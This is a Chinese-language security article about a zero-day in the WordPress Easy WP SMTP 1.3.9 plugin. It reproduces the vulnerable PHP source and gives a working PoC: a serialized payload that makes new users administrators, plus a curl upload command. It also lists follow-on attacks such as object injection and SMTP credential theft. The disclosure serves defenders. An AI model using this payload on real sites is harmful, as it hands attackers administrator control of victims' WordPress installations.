又是WordPress——WordPress WP SMTP插件0 day漏洞PoC

ang010ela 嘶吼专业版

本文介绍研究人员发现的WordPress WP SMTP插件0 day漏洞。

Easy WP SMTP是WordPress中比较常用和受欢迎的插件,安装量超过30万。研究人员发现该插件中存在一个0 day漏洞,允许非认证的用户修改WordPress options或在注入和执行关于恶意动作的代码。

漏洞

该漏洞存在于version v1.3.9版本中,已经有黑客从2019年3月15日开始利用该漏洞发起攻击活动了。


add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
        if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
                  add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
                  add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
        }
 
        //view log file
        if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
            if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
                 $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
                 if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
                     if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
                         wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
                     };
                }
                 $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
                 if ( ! $logfile ) {
                     wp_die( 'Can\'t open log file.' );
                 }
                 header( 'Content-Type: text/plain' );
                 fpassthru( $logfile );
                 die;
            }
        }
 
        //check if this is export settings request
        $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
        if ( $is_export_settings ) {
            $data                                         = array();
            $opts                                         = get_option( 'swpsmtp_options', array() );
            $data[ 'swpsmtp_options' ]                = $opts;
            $swpsmtp_pass_encrypted                         = get_option( 'swpsmtp_pass_encrypted', false );
            $data[ 'swpsmtp_pass_encrypted' ]         = $swpsmtp_pass_encrypted;
            if ( $swpsmtp_pass_encrypted ) {
                 $swpsmtp_enc_key              = get_option( 'swpsmtp_enc_key', false );
                 $data[ 'swpsmtp_enc_key' ]       = $swpsmtp_enc_key;
            }
            $smtp_test_mail                   = get_option( 'smtp_test_mail', array() );
            $data[ 'smtp_test_mail' ]    = $smtp_test_mail;
            $out                                  = array();
            $out[ 'data' ]                   = serialize( $data );
            $out[ 'ver' ]                     = 1;
            $out[ 'checksum' ]                = md5( $out[ 'data' ] );
 
            $filename = 'easy_wp_smtp_settings.txt';
            header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
            header( 'Content-Type: text/plain' );
            echo serialize( $out );
            exit;
        }
 
        $is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
        if ( $is_import_settings ) {
                  $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
                  if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
                         echo $err_msg;
                         wp_die();
                 }
                 $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
                 try {
                         $in = unserialize( $in_raw );
                         if ( empty( $in[ 'data' ] ) ) {
                                   echo $err_msg;
                                   wp_die();
                         }
                         if ( empty( $in[ 'checksum' ] ) ) {
                                   echo $err_msg;
                                   wp_die();
                         }
                         if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
                                   echo $err_msg;
                                   wp_die();
                         }
                         $data = unserialize( $in[ 'data' ] );
                         foreach ( $data as $key => $value ) {
                                   update_option( $key, $value );
                         }
                         set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
                         $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
                         wp_safe_redirect( $url );
                         exit;
                 } catch ( Exception $ex ) {
                         echo $err_msg;
                         wp_die();
                 }
        }
}

当用户访问admin域时,是来自easy-wp-smtp.php脚本的admin_init()函数通过admin_init hook运行的。该函数可以用来查看或删除日志,导出或导入插件配置并在WordPress数据库中更新option。但是并不检查用户的能力,因此任意登陆的用户都可以触发该漏洞。但非认证的用户也可以执行,因为Easy WP SMTP使用AJAX和admin_init hook在admin-ajax.php上运行:

而且不仅仅是在用户层的admin屏管理的,也可以运行在admin-ajax.php和admin-post.php。

因此,非认证的用户可以发送ajax请求来触发上面的函数和执行代码,比如action=swpsmtp_clear_log。

PoC

在下面的PoC中,研究人员使用swpsmtp_import_settings来上传含有恶意序列化payload的文件,payload可以启用用户注册(users_can_register),在数据库中将用户默认角色default_role设置为administrator。

  1. 创建一个名为“/tmp/upload.txt”的文件并加入以下内容:

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}
  1. 上传该文件:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'

其他漏洞可以这样利用:

· 通过PHP对象注入执行远程代码,因为Easy WP SMTP使用不安全的 unserialize()调用。

· 查看或删除日志或其他任意文件,因为黑客可以修改日志的文件名。

· 导出含有SMTP主机、用户名和密码的插件配置数据,并用来发送垃圾邮件。

研究人员通过防火墙记录数据发现,黑客利用该漏洞来修改WordPress wp_user_roles 选项的内容,并给予所有用户管理员功能。黑客并没有创建新的管理员账户,因为这在WordPress “Users”区域很容易会被发现。

Wordpress在3月17日发布了version 1.3.9.1新版本,已经修复了该漏洞。

更多参见漏洞利用情况参见:

· https://www.wordfence.com/blog/2019/03/hackers-abusing-recently-patched-vulnerability-in-easy-wp-smtp-plugin/

· https://blog.nintechnet.com/critical-0day-vulnerability-fixed-in-wordpress-easy-wp-smtp-plugin/